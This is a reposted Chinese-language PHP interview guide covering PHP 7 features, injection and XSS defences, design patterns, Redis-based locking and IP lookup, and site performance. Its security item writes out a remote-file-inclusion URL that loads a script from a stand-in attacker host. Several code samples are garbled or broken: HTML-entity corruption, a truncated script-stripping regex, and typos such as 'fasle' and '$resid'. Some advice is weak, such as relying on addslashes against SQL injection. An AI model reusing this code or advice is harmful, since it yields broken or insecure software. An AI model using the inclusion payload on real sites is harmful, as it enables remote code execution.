热门标签 | HotTags
当前位置:  开发笔记 > 编程语言 > 正文

PHPer面试指南php篇(二)

点击上方“码农编程进阶笔记”,选择“关注公众号”技术文章第一时间送达!1.php7新特性??运算符(NULL合并运算符)函数

点击上方“码农编程进阶笔记”,选择“关注公众号”

技术文章第一时间送达!

1.php7新特性

  • ?? 运算符(NULL 合并运算符)

  • 函数返回值类型声明

  • 标量类型声明

  • use 批量声明

  • define 可以定义常量数组

  • 闭包( Closure)增加了一个 call 方法 详细的可以见官网:php7-new-features

2.php7卓越性能背后的优化

  • 减少内存分配次数

  • 多使用栈内存

  • 缓存数组的hash值

  • 字符串解析成桉树改为宏展开

  • 使用大块连续内存代替小块破碎内存 详细的可以参考鸟哥的PPT:PHP7性能之源

3.include($_GET['p'])的安全隐患

现在任一个黑客现在都可以用:http://www.yourdomain.com/index.php?p=anyfile.txt 来获取你的机密信息,或执行一个PHP脚本。如果allow_url_fopen=On,你更是死定了:试试这个输入:http://www.yourdomain.com/index.php?p=http://youaredoomed.com/phphack.php 现在你的网页中包含了http://www.youaredoomed.com/phphack.php的输出. 黑客可以发送垃圾邮件,改变密码,删除文件等等。只要你能想得到。

4.列出一些防范SQL注入、XSS攻击、CSRF攻击的方法

SQL注入:

  • addslashes函数

  • mysql_real_escape_string/mysqli_real_escape_string/PDO::quote()

  • PDO预处理 XSS:htmlspecial函数 CSRF:

  • 验证HTTP REFER

  • 使用toke进行验证

5.接口如何安全访问

jwt或验证签名

6.PHP里有哪些设计模式

  • 单例模式

  • 工厂模式

  • 脸面模式(facade)

  • 注册器模式

  • 策略模式

  • 原型模式

  • 装饰器模式 更多的可以看PHP设计模式简介这篇文章

7.验证ip是否正确

function check_ip($ip)
{if (!filter_var($ip, FILTER_VALIDATE_IP)) {return false;} else {return true;}
}

8.验证日期是否合理

function check_datetime($datetime)
{if (date('Y-m-d H:i:s', strtotime($datetime)) === $datetime) {return true;} else {return false;}
}

9.写一个正则表达式,过滤JS脚本(及把script标记及其内容都去掉)

$text = '';
$pattern &#61; &#39;.*<\/script>/i&#39;;
$text &#61; preg_replace($pattern, &#39;&#39;, $text);

10.下单后30分钟未支付取消订单

第一种方案&#xff1a;被动过期&#43;cron&#xff0c;就是用户查看的时候去数据库查有没有支付&#43;定时清理。第二种方案&#xff1a;延迟性任务&#xff0c;到时间检查订单是否支付成功&#xff0c;如果没有支付则取消订单

11.设计一个秒杀系统

思路&#xff1a;用redis的队列

$ttl &#61; 4;
$random &#61; mt_rand(1,1000).&#39;-&#39;.gettimeofday(true).&#39;-&#39;.mt_rand(1,1000);$lock &#61; fasle;
while (!$lock) {$lock &#61; $redis->set(&#39;lock&#39;, $random, array(&#39;nx&#39;, &#39;ex&#39; &#61;> $ttl));
}if ($redis->get(&#39;goods.num&#39;) <&#61; 0) {echo ("秒杀已经结束");//删除锁if ($redis->get(&#39;lock&#39;) &#61;&#61; $random) {$redis->del(&#39;lock&#39;);}return false;
}$redis->decr(&#39;goods.num&#39;);
echo ("秒杀成功");
//删除锁
if ($redis->get(&#39;lock&#39;) &#61;&#61; $random) {$redis->del(&#39;lock&#39;);
}
return true;

12.请设计一个实现方式&#xff0c;可以给某个ip找到对应的省和市&#xff0c;要求效率竟可能的高

//ip2long&#xff0c;把所有城市的最小和最大Ip录进去
$redis_key &#61; &#39;ip&#39;;
$redis->zAdd($redis_key, 20, &#39;#bj&#39;);//北京的最小IP加#
$resid->zAdd($redis_key, 30, &#39;bj&#39;);//最大IPfunction get_ip_city($ip_address)
{$ip &#61; ip2long($ip_address);$redis_key &#61; &#39;ip&#39;;$city &#61; zRangeByScore($redis_key, $ip, &#39;&#43;inf&#39;, array(&#39;limit&#39; &#61;> array(0, 1)));if ($city) {if (strpos($city[0], "#") &#61;&#61;&#61; 0) {echo &#39;城市不存在!&#39;;} else {echo &#39;城市是&#39; . $city[0];}} else {echo &#39;城市不存在!&#39;;}
}

13.网页/应用访问慢突然变慢&#xff0c;如何定位问题

  1. top、iostat查看cpu、内存及io占用情况

  2. 内核、程序参数设置不合理 查看有没有报内核错误&#xff0c;连接数用户打开文件数这些有没有达到上限等等

  3. 链路本身慢 是否跨运营商、用户上下行带宽不够、dns解析慢、服务器内网广播风暴什么的

  4. 程序设计不合理 是否程序本身算法设计太差&#xff0c;数据库语句太过复杂或者刚上线了什么功能引起的

  5. 其它关联的程序引起的 如果要访问数据库&#xff0c;检查一下是否数据库访问慢

  6. 是否被攻击了 查看服务器是否被DDos了等等

  7. 硬件故障 这个一般直接服务器就挂了&#xff0c;而不是访问慢

14.如何设计/优化一个访问量比较大的博客/论坛

  • 减少http请求&#xff08;比如使用雪碧图&#xff09;

  • 优化数据库&#xff08;范式、SQL语句、索引、配置、读写分离&#xff09;

  • 缓存使用&#xff08;Memcache、Redis&#xff09;

  • 负载均衡

  • 动态内容静态化&#43;CDN

  • 禁止外部盗链&#xff08;refer、图片添加水印&#xff09;

  • 控制大文件下载

  • 使用集群

15.如何搭建Composer私有库

使用satis搭建
相关文章介绍&#xff1a;使用satis搭建Composer私有库

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

相关教程&#xff1a;PHP开发高可用高安全App

获取方式&#xff1a;关注公众号回复“ PHP开发App ”关键字&#xff0c;即可免费获得

               


推荐阅读
author-avatar
mobiledu2502880253
这个家伙很懒,什么也没留下!
PHP1.CN | 中国最专业的PHP中文社区 | DevBox开发工具箱 | json解析格式化 |PHP资讯 | PHP教程 | 数据库技术 | 服务器技术 | 前端开发技术 | PHP框架 | 开发工具 | 在线工具
Copyright © 1998 - 2020 PHP1.CN. All Rights Reserved | 京公网安备 11010802041100号 | 京ICP备19059560号-4 | PHP1.CN 第一PHP社区 版权所有